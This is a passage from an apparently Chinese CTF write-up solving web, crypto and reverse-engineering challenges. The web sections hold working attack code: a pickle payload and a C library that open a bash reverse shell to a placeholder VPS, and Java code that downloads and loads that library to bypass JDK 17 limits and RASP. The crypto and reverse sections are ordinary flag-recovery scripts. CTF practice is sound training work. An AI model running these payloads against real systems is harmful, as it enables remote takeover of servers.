**kwargs)</span><br><span class="line">    <span class="keyword">return</span> wrapper</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span>, methods=[<span class="string">&quot;GET&quot;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">file_reader</span>(<span class="params">request</span>):</span><br><span class="line">    file = <span class="string">&quot;app.py&quot;</span></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(file, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        content = f.read()</span><br><span class="line">    <span class="keyword">return</span> text(content)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/upload&#x27;</span>, methods=[<span class="string">&quot;GET&quot;</span>,<span class="string">&quot;POST&quot;</span>]</span>)</span></span><br><span class="line"><span class="meta">@token_required</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">upload</span>(<span class="params">request</span>):</span><br><span class="line">    <span class="keyword">if</span> request.method==<span class="string">&quot;GET&quot;</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">await</span> file_(<span class="string">&#x27;templates/upload.html&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> request.files:</span><br><span class="line">        <span class="keyword">return</span> text(<span class="string">&quot;No file provided&quot;</span>, status=<span class="number">400</span>)</span><br><span class="line"></span><br><span class="line">    file = request.files.get(<span class="string">&#x27;file&#x27;</span>)</span><br><span class="line">    file_object = file[<span class="number">0</span>] <span class="keyword">if</span> <span class="built_in">isinstance</span>(file, <span class="built_in">list</span>) <span class="keyword">else</span> file</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        new_data = restricted_loads(file_object.body)</span><br><span class="line">        <span class="keyword">try</span>:</span><br><span class="line">            my_object.update(new_data)</span><br><span class="line">        <span class="keyword">except</span>:</span><br><span class="line">            <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;success&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Pickle object loaded but not updated&quot;</span>&#125;)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(pickle_file, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            pickle.dump(my_object, f)</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;success&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Pickle object updated&quot;</span>&#125;)</span><br><span class="line">    <span class="keyword">except</span> pickle.UnpicklingError:</span><br><span class="line">        <span class="keyword">return</span> text(<span class="string">&quot;Dangerous pickle file&quot;</span>, status=<span class="number">400</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/register&#x27;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>,<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">register</span>(<span class="params">request</span>):</span><br><span class="line">    <span class="keyword">if</span> request.method==<span class="string">&#x27;GET&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">await</span> file_(<span class="string">&#x27;templates/register.html&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> request.json:</span><br><span class="line">        NewUser=User(<span class="string">&quot;username&quot;</span>,<span class="string">&quot;password&quot;</span>)</span><br><span class="line">        merge(request.json, NewUser)</span><br><span class="line">        users.append(NewUser)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;fail&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Invalid request&quot;</span>&#125;, status=<span class="number">400</span>)</span><br><span class="line">    <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;success&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Register Success!&quot;</span>,<span class="string">&quot;redirect&quot;</span>: <span class="string">&quot;/login&quot;</span>&#125;)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/login&#x27;</span>, methods=[<span class="string">&#x27;GET&#x27;</span>,<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">async</span> <span class="keyword">def</span> <span class="title function_">login</span>(<span class="params">request</span>):</span><br><span class="line">    <span class="keyword">if</span> request.method==<span class="string">&#x27;GET&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">await</span> file_(<span class="string">&#x27;templates/login.html&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> request.json:</span><br><span class="line">        username = request.json.get(<span class="string">&quot;username&quot;</span>)</span><br><span class="line">        password = request.json.get(<span class="string">&quot;password&quot;</span>)</span><br><span class="line">        <span class="keyword">if</span> <span class="keyword">not</span> username <span class="keyword">or</span> <span class="keyword">not</span> password:</span><br><span class="line">            <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;fail&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Username or password missing&quot;</span>&#125;, status=<span class="number">400</span>)</span><br><span class="line">        user = <span class="built_in">next</span>((u <span class="keyword">for</span> u <span class="keyword">in</span> users <span class="keyword">if</span> u.username == username), <span class="literal">None</span>)</span><br><span class="line">        <span class="keyword">if</span> user:</span><br><span class="line">            <span class="keyword">if</span> user.password == password:</span><br><span class="line">                data=&#123;<span class="string">&quot;user&quot;</span>:username,<span class="string">&quot;role&quot;</span>:<span class="string">&quot;guest&quot;</span>&#125;</span><br><span class="line">                data[<span class="string">&#x27;exp&#x27;</span>] = <span class="built_in">int</span>(time.time()) + <span class="number">60</span> *<span class="number">5</span></span><br><span class="line">                token = jwt.encode(data, <span class="built_in">str</span>(secret_key), algorithm=<span class="string">&#x27;HS256&#x27;</span>)</span><br><span class="line">                response = json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;success&quot;</span>, <span class="string">&quot;redirect&quot;</span>: <span class="string">&quot;/upload&quot;</span>&#125;)</span><br><span class="line">                response.cookies[<span class="string">&quot;token&quot;</span>]=token</span><br><span class="line">                response.headers[<span class="string">&#x27;Access-Control-Allow-Origin&#x27;</span>] = request.headers.get(<span class="string">&#x27;origin&#x27;</span>)</span><br><span class="line">                <span class="keyword">return</span> response</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;fail&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Invalid password&quot;</span>&#125;, status=<span class="number">400</span>)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;fail&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;User not found&quot;</span>&#125;, status=<span class="number">404</span>)</span><br><span class="line">    <span class="keyword">return</span> json(&#123;<span class="string">&quot;status&quot;</span>: <span class="string">&quot;fail&quot;</span>, <span class="string">&quot;message&quot;</span>: <span class="string">&quot;Invalid request&quot;</span>&#125;, status=<span class="number">400</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(host=<span class="string">&quot;0.0.0.0&quot;</span>, port=<span class="number">8000</span>)</span><br></pre></td></tr></table></figure><p>应该先是原型链污染，改jwt的密钥，然后pickle反序列化命令执行</p><p>原型链污染：</p><p><img src="/community/upload/image-20241019171112-kf8ch24.png" alt="image"></p><p>把密钥改成abc</p><p>然后注册一个用户，伪造jwt</p><p><img src="/community/upload/image-20241019171232-mw1iwp7.png" alt="image"></p><p>发现pickle反序列化给了个白名单，不太会用，但也可以污染，换成自己想要的：</p><p><img src="/community/upload/image-20241019171816-upnd5ks.png" alt="image"></p><p><img src="/community/upload/image-20241019171832-o20glq0.png" alt="image"></p><p>然后pickle反序列化getshell就很简单了</p><p>参考这个<a href="https://xz.aliyun.com/t/7436">https://xz.aliyun.com/t/7436</a></p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">exp = <span class="string">b&#x27;&#x27;&#x27;cbuiltins</span></span><br><span class="line"><span class="string">getattr</span></span><br><span class="line"><span class="string">p0</span></span><br><span class="line"><span class="string">(cbuiltins</span></span><br><span class="line"><span class="string">dict</span></span><br><span class="line"><span class="string">S&#x27;get&#x27;</span></span><br><span class="line"><span class="string">tRp1</span></span><br><span class="line"><span class="string">cbuiltins</span></span><br><span class="line"><span class="string">globals</span></span><br><span class="line"><span class="string">)Rp2</span></span><br><span class="line"><span class="string">00g1</span></span><br><span class="line"><span class="string">(g2</span></span><br><span class="line"><span class="string">S&#x27;builtins&#x27;</span></span><br><span class="line"><span class="string">tRp3</span></span><br><span class="line"><span class="string">0g0</span></span><br><span class="line"><span class="string">(g3</span></span><br><span class="line"><span class="string">S&#x27;eval&#x27;</span></span><br><span class="line"><span class="string">tR(S&#x27;__import__(&quot;os&quot;).system(&quot;bash -c &#x27;bash -i &gt;&amp; /dev/tcp/VPS-IP/VPS-PORT 0&gt;&amp;1&#x27;&quot;)&#x27;</span></span><br><span class="line"><span class="string">tR.</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;exp.pkl&#x27;</span>, <span class="string">&#x27;wb&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    f.write(exp)</span><br></pre></td></tr></table></figure><p><img src="/community/upload/image-20241019172904-o38ppj0.png" alt="image"></p><h3 id="OnlineRunner"><a href="#OnlineRunner" class="headerlink" title="OnlineRunner"></a>OnlineRunner</h3><p>给了一个在线运行Java代码的网站，通过报错看到已经把函数名写好了：</p><p><img src="/community/upload/image-20241020023406-hhrt158.png" alt="image"></p><p>想用反射获取unsafe，发现是JDK17，需要先绕过限制，参考<a href="https://xz.aliyun.com/t/15035">https://xz.aliyun.com/t/15035</a></p><p>然后使用 JNI 绕过 RASP，参考 <a href="https://ko1sh1.github.io/2024/03/25/blog_java%20Rasp%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E7%BB%95%E8%BF%87">https://ko1sh1.github.io/2024/03/25/blog_java%20Rasp%E7%9A%84%E5%AE%9E%E7%8E%B0%E4%B8%8E%E7%BB%95%E8%BF%87</a> 和 <a href="https://www.cnblogs.com/nice0e3/p/14067160.html">https://www.cnblogs.com/nice0e3/p/14067160.html</a>，写一个 evil.c 文件：</p><figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"></span><br><span class="line">__attribute__ ((__constructor__)) <span class="type">void</span> <span class="title function_">preload</span> <span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">    system(<span class="string">&quot;bash -c &#x27;bash -i &gt;&amp; /dev/tcp/VPS-IP/VPS-PORT 0&gt;&amp;1&#x27;&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>在linux上编译：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">gcc -shared -fPIC evil.c -o evil.so</span><br></pre></td></tr></table></figure><p>在VPS开一个下载evil.so的网站，再监听一个反弹shell</p><p>然后执行下面的代码</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">try</span> (java.io.<span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.net.URL(<span class="string">&quot;http://VPS-IP/evil.so&quot;</span>).openStream();</span><br><span class="line">     java.io.<span class="type">FileOutputStream</span> <span class="variable">out</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">java</span>.io.FileOutputStream(<span class="string">&quot;/tmp/evil.so&quot;</span>)) &#123;</span><br><span class="line">    <span class="type">byte</span>[] buf = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">8192</span>];</span><br><span class="line">    <span class="type">int</span> bytesRead;</span><br><span class="line">    <span class="keyword">while</span> ((bytesRead = in.read(buf)) != -<span class="number">1</span>) &#123;</span><br><span class="line">        out.write(buf, <span class="number">0</span>, bytesRead);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">Class</span> <span class="variable">unsafeClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;sun.misc.Unsafe&quot;</span>);</span><br><span class="line">    java.lang.reflect.<span class="type">Field</span> <span class="variable">field</span> <span class="operator">=</span> unsafeClass.getDeclaredField(<span class="string">&quot;theUnsafe&quot;</span>);</span><br><span class="line">    field.setAccessible(<span class="literal">true</span>);</span><br><span class="line">    sun.misc.<span class="type">Unsafe</span> <span class="variable">unsafe</span> <span class="operator">=</span> (sun.misc.Unsafe) field.get(<span class="literal">null</span>);</span><br><span class="line">    <span class="type">Module</span> <span class="variable">baseModule</span> <span class="operator">=</span> Object.class.getModule();</span><br><span class="line">    <span class="type">Class</span> <span class="variable">currentClass</span> <span class="operator">=</span> Main.class;</span><br><span class="line">    <span class="type">long</span> <span class="variable">addr</span> <span class="operator">=</span> unsafe.objectFieldOffset(Class.class.getDeclaredField(<span class="string">&quot;module&quot;</span>));</span><br><span class="line">    unsafe.getAndSetObject(currentClass, addr, baseModule);</span><br><span class="line">    <span class="type">Class</span> <span class="variable">nativeLibraryClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;jdk.internal.loader.NativeLibraries&quot;</span>);</span><br><span class="line">    <span class="type">Class</span> <span class="variable">nativeLibraryImplClass</span> <span class="operator">=</span> Class.forName(<span class="string">&quot;jdk.internal.loader.NativeLibraries$NativeLibraryImpl&quot;</span>);</span><br><span class="line">    java.lang.reflect.<span class="type">Method</span> <span class="variable">load</span> <span class="operator">=</span> nativeLibraryClass.getDeclaredMethod(<span class="string">&quot;load&quot;</span>, nativeLibraryImplClass, String.class, <span class="type">boolean</span>.class, <span class="type">boolean</span>.class, <span class="type">boolean</span>.class);</span><br><span class="line">    load.setAccessible(<span class="literal">true</span>);</span><br><span class="line">    <span class="type">Object</span> <span class="variable">nativeLibraryObj</span> <span class="operator">=</span> unsafe.allocateInstance(nativeLibraryClass);</span><br><span class="line">    load.invoke(nativeLibraryObj, <span class="literal">null</span>, <span class="string">&quot;/tmp/evil.so&quot;</span>, <span class="literal">false</span>, <span class="literal">true</span>, <span class="literal">true</span>);</span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">    <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">RuntimeException</span>(e);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="/community/upload/image-20241020023217-sa0mh8p.png" alt="image"></p><h2 id="Crypto"><a href="#Crypto" class="headerlink" title="Crypto"></a>Crypto</h2><h3 id="xor"><a href="#xor" class="headerlink" title="xor"></a>xor</h3><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">ls=<span class="string">&#x27;0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914&#x27;</span></span><br><span class="line">key=<span class="built_in">list</span>(<span class="string">&#x27;mimic&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(ls)//<span class="number">2</span>):</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">chr</span>(<span class="built_in">ord</span>(key[i%<span class="number">5</span>])^<span class="built_in">int</span>(ls[<span class="number">2</span>*i:<span class="number">2</span>*i+<span class="number">2</span>],<span class="number">16</span>)),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="comment">#flag&#123;c1251858-71cb-02f3-5505-fb4bf64e879d&#125;</span></span><br></pre></td></tr></table></figure><h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><h3 id="Serv1ce"><a href="#Serv1ce" class="headerlink" title="Serv1ce"></a>Serv1ce</h3><p>用jadx打开，得到三个主要的部分</p><p><img src="/community/upload/image-20241019170102-mofeo95.png" alt="image"></p><p>MainActivity申明了两个按钮的click事件，点击input按钮时会解密两段字符串，check也是一样的功能，同时input还会将文本框中的内容传到intent。</p><p><img src="/community/upload/image-20241019170353-yjq59a4.png" alt="image"></p><p>input解密出来是开始服务，check则是终止，调用的是myclass里的函数。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ksa</span>(<span class="params">s</span>):</span><br><span class="line">    ls=[i <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>)]</span><br><span class="line">    j=<span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(ls)):</span><br><span class="line">        j=(j+ls[i]+<span class="built_in">ord</span>(s[i%<span class="built_in">len</span>(s)]))%<span class="number">256</span></span><br><span class="line">        ls[i],ls[j]=ls[j],ls[i]</span><br><span class="line">    <span class="keyword">return</span> ls</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rpga</span>(<span class="params">ls,n</span>):</span><br><span class="line">    ll=[<span class="number">0</span>]*n</span><br><span class="line">    i2,i3=<span class="number">0</span>,<span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(n):</span><br><span class="line">        i2=(i2+<span class="number">1</span>)%<span class="number">256</span></span><br><span class="line">        i3=(i3+ls[i2])%<span class="number">256</span></span><br><span class="line">        ls[i2],ls[i3]=ls[i3],ls[i2]</span><br><span class="line">        ll[i]=(ls[(ls[i2]+ls[i3])%<span class="number">256</span>])%<span class="number">256</span></span><br><span class="line">    <span class="keyword">return</span> ll</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decode</span>(<span class="params">s</span>):</span><br><span class="line">    ss=base64.b64decode(s)</span><br><span class="line">    key=<span class="string">&quot;k3ykeyk3ykey&quot;</span></span><br><span class="line">    charr=rpga(ksa(key),<span class="built_in">len</span>(ss))</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(ss)):</span><br><span class="line">        <span class="built_in">print</span>(<span class="built_in">chr</span>(ss[i]^charr[i]),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"></span><br><span class="line">decode(<span class="string">&quot;RtHTxaKcRXIdES5ktXugN2ww1d91EMp/QOxAh8bV&quot;</span>)</span><br><span class="line"><span class="comment"># android.content.ContextWrapper</span></span><br><span class="line"><span class="built_in">print</span>()</span><br><span class="line">decode(<span class="string">&quot;VMvWxbmmRC4IFyN1&quot;</span>)</span><br><span class="line"><span class="comment"># startService</span></span><br><span class="line"><span class="built_in">print</span>()</span><br><span class="line">decode(<span class="string">&quot;VMvYx56QUyoXHSU=&quot;</span>)</span><br><span class="line"><span class="comment"># stopService</span></span><br></pre></td></tr></table></figure><p>MyService则是主要处理部分，定义了key和num，其中，num会随着点击input按钮的次数改变而改变，每次都会生成相同的密钥数组，而check函数则是调用了native层。</p><p><img src="/community/upload/image-20241019171006-ysgri2o.png" alt="image"></p><p>将libServ1ce.so拖入IDA，查看check函数，输入内容的长度是36，将密钥和输入值依次异或后再乘上num与cmp数组比较。</p><p><img src="/community/upload/image-20241019171258-m2xc2d6.png" alt="image"></p><p>由于长度是36，故猜测输入值是flag{}里面的内容，其中第8位和第13位等是’-‘，求出num的逆元即可。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line">cmp=[<span class="number">0xB9</span>,<span class="number">0x32</span>,<span class="number">0xC2</span>,<span class="number">0xD4</span>,<span class="number">0x69</span>,<span class="number">0xD5</span>,<span class="number">0xCA</span>,<span class="number">0xFB</span>,<span class="number">0xF8</span>,<span class="number">0xFB</span>,<span class="number">0x80</span>,<span class="number">0x7C</span>,<span class="number">0xD4</span>,<span class="number">0xE5</span>,<span class="number">0x93</span>,<span class="number">0xD5</span>,<span class="number">0x1C</span>,<span class="number">0x8B</span>,<span class="number">0xF8</span>,<span class="number">0xDF</span>,<span class="number">0xDA</span>,<span class="number">0xA1</span>,<span class="number">0x11</span>,<span class="number">0xF8</span>,<span class="number">0xA1</span>,<span class="number">0x93</span>,<span class="number">0x93</span>,<span class="number">0xC2</span>,<span class="number">0x7C</span>,<span class="number">0x8B</span>,<span class="number">0x1C</span>,<span class="number">0x66</span>,<span class="number">0x01</span>,<span class="number">0x3D</span>,<span class="number">0xA3</span>,<span class="number">0x67</span>]</span><br><span class="line">key=<span class="string">&quot;1liIl11lIllIIl11llII&quot;</span></span><br><span class="line">num=<span class="number">9</span></span><br><span class="line">keyarray=[<span class="number">0</span>]*<span class="number">36</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">36</span>):</span><br><span class="line">    keyarray[i]=(<span class="built_in">ord</span>(key[i%<span class="built_in">len</span>(key)])-<span class="number">0x77</span>^<span class="number">23</span>)&amp;<span class="number">255</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>):</span><br><span class="line">    count=<span class="number">0</span></span><br><span class="line">    <span class="keyword">if</span>((num*(<span class="built_in">ord</span>(<span class="string">&#x27;-&#x27;</span>)^keyarray[<span class="number">8</span>]))%<span class="number">256</span>==cmp[<span class="number">8</span>]):</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line">    num+=<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> numre <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line">    <span class="keyword">if</span>((numre*num)%<span class="number">256</span>==<span class="number">1</span>):</span><br><span class="line">        <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;flag&#123;&#x27;</span>,end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="built_in">len</span>(cmp)):</span><br><span class="line">    <span class="built_in">print</span>(<span class="built_in">chr</span>(((numre*cmp[i])^keyarray[i])%<span class="number">256</span>),end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">&#x27;&#125;&#x27;</span>)</span><br><span class="line"><span class="comment">#flag&#123;f4c99233-3b19-426c-8ca6-a44d1c67f5d8&#125;</span></span><br></pre></td></tr></table></figure><h3 id="A-game"><a href="#A-game" class="headerlink" title="A_game"></a>A_game</h3><p>这个程序是一个吃豆人游戏，打开ida，能在主界面的退出逻辑中找到一个退出时执行的函数</p><p><img src="/community/upload/image-20241019232456-lizsrel.png" alt="image"></p><p>主要逻辑是从注册表中读 <code>Myflag</code>这个值，读取到后判断长度等于36，之后读取 <code>game.data</code>转移到 <code>game.tmp</code>经过处理存到 <code>game.ps1</code>，之后执行 <code>game.ps1</code>，删除脚本，将remove函数nop掉，得到game.ps1</p><p><img src="/community/upload/image-20241019232653-meeslbp.png" alt="image"></p><p>由很长字符串组成，去除运行解码脚本，得到</p><p><img src="/community/upload/image-20241019232728-6q2qnbo.png" alt="image"></p><p>脚本经过混淆，将脚本去混淆，得到</p><figure class="highlight powershell"><table><tr><td class="code"><pre><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">enenenenene</span></span> &#123;</span><br><span class="line">    <span class="keyword">param</span>(</span><br><span class="line">        <span class="variable">$plaintextBytes</span>,</span><br><span class="line">        <span class="variable">$keyBytes</span></span><br><span class="line">    )</span><br><span class="line">    <span class="variable">$S</span> = <span class="number">0</span>..<span class="number">255</span></span><br><span class="line">    <span class="variable">$j</span> = <span class="number">0</span></span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> <span class="operator">-lt</span> <span class="number">256</span>; <span class="variable">$i</span>++) &#123;</span><br><span class="line">        <span class="variable">$j</span> = (<span class="variable">$j</span> + <span class="variable">$S</span>[<span class="variable">$i</span>] + <span class="variable">$keyBytes</span>[<span class="variable">$i</span> % <span class="variable">$keyBytes</span><span class="type">.Length</span>]) % <span class="number">256</span></span><br><span class="line">        <span class="variable">$temp</span> = <span class="variable">$S</span>[<span class="variable">$i</span>]</span><br><span class="line">        <span class="variable">$S</span>[<span class="variable">$i</span>] = <span class="variable">$S</span>[<span class="variable">$j</span>]</span><br><span class="line">        <span class="variable">$S</span>[<span class="variable">$j</span>] = <span class="variable">$temp</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="variable">$i</span> = <span class="number">0</span></span><br><span class="line">    <span class="variable">$j</span> = <span class="number">0</span></span><br><span class="line">    <span class="variable">$ciphertextBytes</span> = <span class="selector-tag">@</span>()</span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$k</span> = <span class="number">0</span>; <span class="variable">$k</span> <span class="operator">-lt</span> <span class="variable">$plaintextBytes</span>.Length; <span class="variable">$k</span>++) &#123;</span><br><span class="line">        <span class="variable">$i</span> = (<span class="variable">$i</span> + <span class="number">1</span>) % <span class="number">256</span></span><br><span class="line">        <span class="variable">$j</span> = (<span class="variable">$j</span> + <span class="variable">$S</span>[<span class="variable">$i</span>]) % <span class="number">256</span></span><br><span class="line"> <span class="variable">$temp</span> = <span class="variable">$S</span>[<span class="variable">$i</span>]</span><br><span class="line">        <span class="variable">$S</span>[<span class="variable">$i</span>] = <span class="variable">$S</span>[<span class="variable">$j</span>]</span><br><span class="line">        <span class="variable">$S</span>[<span class="variable">$j</span>] = <span class="variable">$temp</span></span><br><span class="line">        <span class="variable">$t</span> = (<span class="variable">$S</span>[<span class="variable">$i</span>] + <span class="variable">$S</span>[<span class="variable">$j</span>]) % <span class="number">256</span></span><br><span class="line">        <span class="variable">$ciphertextBytes</span> += (<span class="variable">$plaintextBytes</span>[<span class="variable">$k</span>] <span class="operator">-bxor</span> <span class="variable">$S</span>[<span class="variable">$t</span>])</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$ciphertextBytes</span></span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">enenenenene1</span></span> &#123;</span><br><span class="line">    <span class="keyword">param</span>(</span><br><span class="line">        <span class="variable">$inputbyte</span></span><br><span class="line">    )</span><br><span class="line">    <span class="variable">$key</span> = <span class="selector-tag">@</span>(<span class="number">0</span>x70, <span class="number">0</span>x6f, <span class="number">0</span>x77, <span class="number">0</span>x65, <span class="number">0</span>x72)</span><br><span class="line">    <span class="variable">$encryptedText</span> = <span class="selector-tag">@</span>();</span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$k</span> = <span class="number">0</span>; <span class="variable">$k</span> <span class="operator">-lt</span> <span class="variable">$inputbyte</span>.Length; <span class="variable">$k</span>++) &#123;</span><br><span class="line">        <span class="variable">$encryptedText</span> = enenenenene <span class="literal">-plaintextBytes</span> <span class="variable">$inputbyte</span> <span class="literal">-keyBytes</span> <span class="variable">$key</span>;</span><br><span class="line">        <span class="variable">$key</span> = enenenenene <span class="literal">-plaintextBytes</span> <span class="variable">$key</span> <span class="literal">-keyBytes</span> <span class="variable">$encryptedText</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$encryptedText</span> + <span class="variable">$key</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">enenenenene2</span></span> &#123;</span><br><span class="line">    <span class="keyword">param</span>(</span><br><span class="line">        <span class="variable">$inputbyte</span></span><br><span class="line">    )</span><br><span class="line">    <span class="variable">$key</span> = <span class="selector-tag">@</span>(<span class="number">0</span>x70, <span class="number">0</span>x30, <span class="number">0</span>x77, <span class="number">0</span>x65, <span class="number">0</span>x72)</span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$k</span> = <span class="number">0</span>; <span class="variable">$k</span> <span class="operator">-lt</span> <span class="variable">$inputbyte</span>.Length; <span class="variable">$k</span>++) &#123;</span><br><span class="line">        <span class="variable">$inputbyte</span>[<span class="variable">$k</span>] = <span class="variable">$inputbyte</span>[<span class="variable">$k</span>] + <span class="variable">$key</span>[<span class="variable">$k</span> % <span class="variable">$key</span><span class="type">.Length</span>]</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="variable">$inputbyte</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">enenenenene3</span></span> &#123;</span><br><span class="line">    <span class="keyword">param</span>(</span><br><span class="line">        <span class="variable">$inputbyte</span></span><br><span class="line">    )</span><br><span class="line">    <span class="variable">$key</span> = <span class="selector-tag">@</span>(<span class="number">0</span>x70, <span class="number">0</span>x30, <span class="number">0</span>x77, <span class="number">0</span>x33, <span class="number">0</span>x72)</span><br><span class="line">    <span class="keyword">for</span> (<span class="variable">$k</span> = <span class="number">0</span>; <span class="variable">$k</span> <span class="operator">-lt</span> <span class="variable">$inputbyte</span>.Length; <span class="variable">$k</span>++) &#123;</span><br><span class="line">        <span class="variable">$inputbyte</span>[<span class="variable">$k</span>] = <span 